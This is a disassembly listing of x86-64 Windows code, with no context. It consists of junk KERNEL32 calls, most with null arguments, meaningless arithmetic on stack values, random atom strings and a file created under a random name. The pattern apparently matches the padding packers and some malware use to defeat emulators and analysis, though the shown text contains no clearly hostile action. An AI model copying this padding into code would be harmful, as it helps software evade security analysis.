xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0x6514]
mov qword [rsp + 0xcc68], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcc70], rax
movsx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
mov r9d, 2
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xcc78]
mov rcx, qword [rsp + 0xc5e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x642c], eax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8b68], ax
mov rax, qword [rsp + 0xc4e8]
mov qword [rsp + 0xcc80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65fc], eax
movzx eax, word [rsp + 0x1fe0]
mov rcx, qword [rsp + 0xcbb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc558]
mov word [rcx], ax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fb4], ax
lea rax, [rsp + 0xa0e0]
mov qword [rsp + 0xcc88], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc430]
mov qword [rsp + 0xcc90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x56b8], eax
lea rax, [rsp + 0x37e]
mov qword [rsp + 0xcc98], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x651c], eax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xcca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcca0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc468], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [0x1401c8a58]
or eax, ecx
mov word [rsp + 0x202c], ax
lea rdx, [rsp + 0x26140]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x632c], eax
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xc3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c70b0], rax
mov rax, qword [rsp + 0xc6a8]
mov rcx, qword [rsp + 0xc848]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6200], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x384], al
mov rax, qword [rsp + 0xc6b0]
movzx eax, word [rax]
mov word [rsp + 0x2150], ax
movzx eax, word [rsp + 0x1fe0]
movzx ecx, word [0x1401c8ac8]
and eax, ecx
mov rcx, qword [rsp + 0xc618]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xbdf8]
movzx ecx, al
mov rax, qword [rsp + 0xc1a0]
shr rax, cl
mov qword [rsp + 0xc530], rax
lea rcx, str.ZPmxbcL3Fg0z04EhE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2154], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [rsp + 0xc640]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x15f]
mov byte [rsp + 0x3a2], al
mov rax, qword [rsp + 0xc5d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6554]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc570]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1808]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc48], ax
lea rcx, [0x1401ac6d8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2140], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6474], eax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov rcx, qword [0x1401c8ad0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [0x1401c7078]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x627c], eax
xor r9d, r9d
lea r8, [rsp + 0xc4d8]
mov rdx, qword [rsp + 0xc740]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6600], eax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xc3e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf58], rax
mov rax, qword [0x1401c8a60]
mov rax, qword [rax]
mov qword [rsp + 0xccb0], rax
movsx eax, word [rsp + 0x1608]
movsx ecx, word [rsp + 0x178c]
sub eax, ecx
mov word [rsp + 0x19d0], ax
movsx eax, byte [rsp + 0x205]
movsx ecx, byte [rsp + 0x21f]
or eax, ecx
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0xc008]
mov rcx, qword [0x1401c8ac0]
mov qword [rsp + 0xccb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccb8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc820], rax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov dword [rsp + 0x6604], eax
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcaf8]
mov qword [rsp + 0xccc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6570], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x381]
add eax, ecx
mov rcx, qword [rsp + 0xca88]
mov byte [rcx], al
lea rax, [rsp + 0x1fb4]
mov qword [0x1401c8b80], rax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov word [rsp + 0x2158], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f84]
add eax, ecx
mov word [rsp + 0x20a8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
lea rcx, str.D4z68M_KG3tQM6R
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x215c], ax
mov rax, qword [rsp + 0xcc08]
mov rcx, qword [rsp + 0xc130]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf88], rax
movsx eax, byte [rsp + 0x37c]
movsx ecx, byte [rsp + 0x385]
and eax, ecx
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0xc590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xccc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccc8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9de0], rax
mov eax, dword [rsp + 0x6348]
mov dword [rsp + 0x6608], eax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor r9d, r9d
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x647c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
movsx eax, word [rsp + 0x2148]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xca78]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x1f78]
movzx ecx, word [rsp + 0x2050]
sar eax, cl
mov word [rsp + 0x910], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xa8d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c7068], rax
lea rcx, str.SXRYCU_9pRF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2160], ax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20a0], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc990]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc088], rax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov qword [rsp + 0xccd8], rax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fcc], ax
mov r9d, 2
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc958]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x660c], eax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20cc], ax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37c], al
lea rcx, [rsp + 0x20008]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xb3e0]
mov qword [rsp + 0xcce0], rax
mov eax, dword [rsp + 0x57b4]
mov ecx, dword [rsp + 0x650c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6470], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65c0], eax
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc690]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x399]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xca88]
mov byte [rcx], al
mov eax, dword [rsp + 0x5ed0]
mov dword [rsp + 0x6610], eax
movzx eax, word [rsp + 0x2098]
mov word [0x1401c8b88], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rcx, [rsp + 0x20038]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2000], ax
movzx eax, word [rsp + 0x19ac]
movzx ecx, word [rsp + 0x14a0]
shl eax, cl
mov word [rsp + 0x1e4c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
mov rcx, qword [0x1401c8ad0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1fa0], ax
lea rax, [rsp + 0x39b]
mov qword [rsp + 0xcce8], rax
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbdf8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6608]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc7f8]
movzx eax, word [rax]
mov word [rsp + 0x2164], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0x1f44]
mov rcx, qword [rsp + 0xc980]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f84], ax
mov rax, qword [rsp + 0xc898]
mov rcx, qword [0x1401c7010]
or rcx, rax
mov rax, rcx
mov qword [0x1401c70b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb680]
shl rax, cl
mov qword [rsp + 0x9f58], rax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0x9f10]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov r9d, 0x21cb
xor r8d, r8d
lea rdx, [rsp + 0xc140]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x65e4], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0x9a90]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcc80], rax
lea rax, [rsp + 0xfc8]
mov qword [rsp + 0xccf0], rax
mov eax, dword [rsp + 0x6440]
mov ecx, dword [rsp + 0x58cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x3a3], al
movsx eax, byte [rsp + 0x228]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc808], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xcc68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc430]
mov qword [rsp + 0xccf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1401c7008], eax
movzx eax, word [rsp + 0x212c]
mov word [rsp + 0x2168], ax
movsx eax, word [rsp + 0x137c]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f7c], ax
lea rax, [rsp + 0x2110]
mov qword [rsp + 0xcd00], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x658c], eax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xcc88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf20], rax
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6614], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcb10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
xor eax, ecx
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0xa270]
mov rcx, qword [rsp + 0xc780]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc830], rax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1d570]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0x65e0]
mov ecx, dword [rsp + 0x6154]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6328], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea rax, [rsp + 0x134c]
mov qword [rsp + 0xcd08], rax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x19ac]
shl eax, cl
mov word [0x1401c7098], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xcb18]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbc18], rax
movzx eax, word [rsp + 0x1f38]
mov word [rsp + 0x216c], ax
mov eax, dword [rsp + 0x5ec4]
movzx ecx, al
mov eax, dword [rsp + 0x5a24]
sar eax, cl
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rcx, [rsp + 0x20068]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6258], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20cc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.wDpHplZ2ajeWdD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcd10], rax
mov r9d, 1
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x63ec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x396]
sub eax, ecx
mov byte [rsp + 0x36b], al
lea rax, [rsp + 0x397]
mov qword [rsp + 0xcd18], rax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [rsp + 0xa148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc588], rax
mov rax, qword [0x1401c8a40]
mov rcx, qword [rsp + 0xc5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5d64], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13c8], ax
lea rax, [rsp + 0x1388]
mov qword [0x1401c8b90], rax
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6618], eax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc778]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3b0], rax
movzx ecx, word [rsp + 0x20b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20f8], ax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa3d0]
mov qword [rsp + 0xcd20], rax
movsx eax, word [rsp + 0x20ec]
movsx ecx, word [rsp + 0x196c]
add eax, ecx
mov word [rsp + 0x20bc], ax
movzx eax, word [rsp + 0x1fe0]
movzx ecx, word [rsp + 0x18cc]
and eax, ecx
mov word [rsp + 0xa88], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rcx, [rsp + 0x20098]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x215c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fe4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64d0], eax
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6154]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc770]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x661c], eax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39e], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6450], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xc830]
mov qword [rsp + 0xcd28], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcc00], rax
mov rax, qword [rsp + 0xc5a0]
mov rcx, qword [rsp + 0xc608]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3e0], rax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff8], ax
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [0x1401c8b98], ax
movzx eax, word [rsp + 0x858]
mov word [rsp + 0x2170], ax
movzx eax, byte [rsp + 0x384]
movzx ecx, byte [rsp + 0x117]
sar eax, cl
mov byte [rsp + 0x26d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcd30], rax
mov eax, dword [rsp + 0x5b70]
mov dword [rsp + 0x6620], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xca98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64e4], eax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
mov rcx, qword [0x1401c7010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
movsx eax, byte [rsp + 0x359]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc668]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x59f4]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shl eax, cl
mov dword [rsp + 0x5a30], eax
lea rcx, [rsp + 0x20068]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xbf50]
mov rcx, qword [rsp + 0x9de0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb70], rax
mov rax, qword [rsp + 0xc2b8]
movzx eax, word [rax]
mov word [rsp + 0x2174], ax
mov rcx, qword [rsp + 0xc140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd38], rax
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xc7d8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7070], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xc6e0]
mov rcx, qword [rsp + 0xbc18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc868], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xccf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x924], ax
movsx eax, word [rsp + 0x1f9c]
movsx ecx, word [rsp + 0x17bc]
xor eax, ecx
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc9d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc08], rax
lea rax, [rsp + 0x5d98]
mov qword [rsp + 0xcd40], rax
xor r9d, r9d
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6624], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x128]
or eax, ecx
mov byte [rsp + 0x38b], al
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc9f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9d60]
shl rax, cl
mov rcx, qword [rsp + 0xca58]
mov qword [rcx], rax
movzx eax, word [0x1401c8a24]
mov word [rsp + 0x2178], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov qword [0x1401c8ba0], rax
mov eax, dword [rsp + 0x62cc]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xcd48], rcx
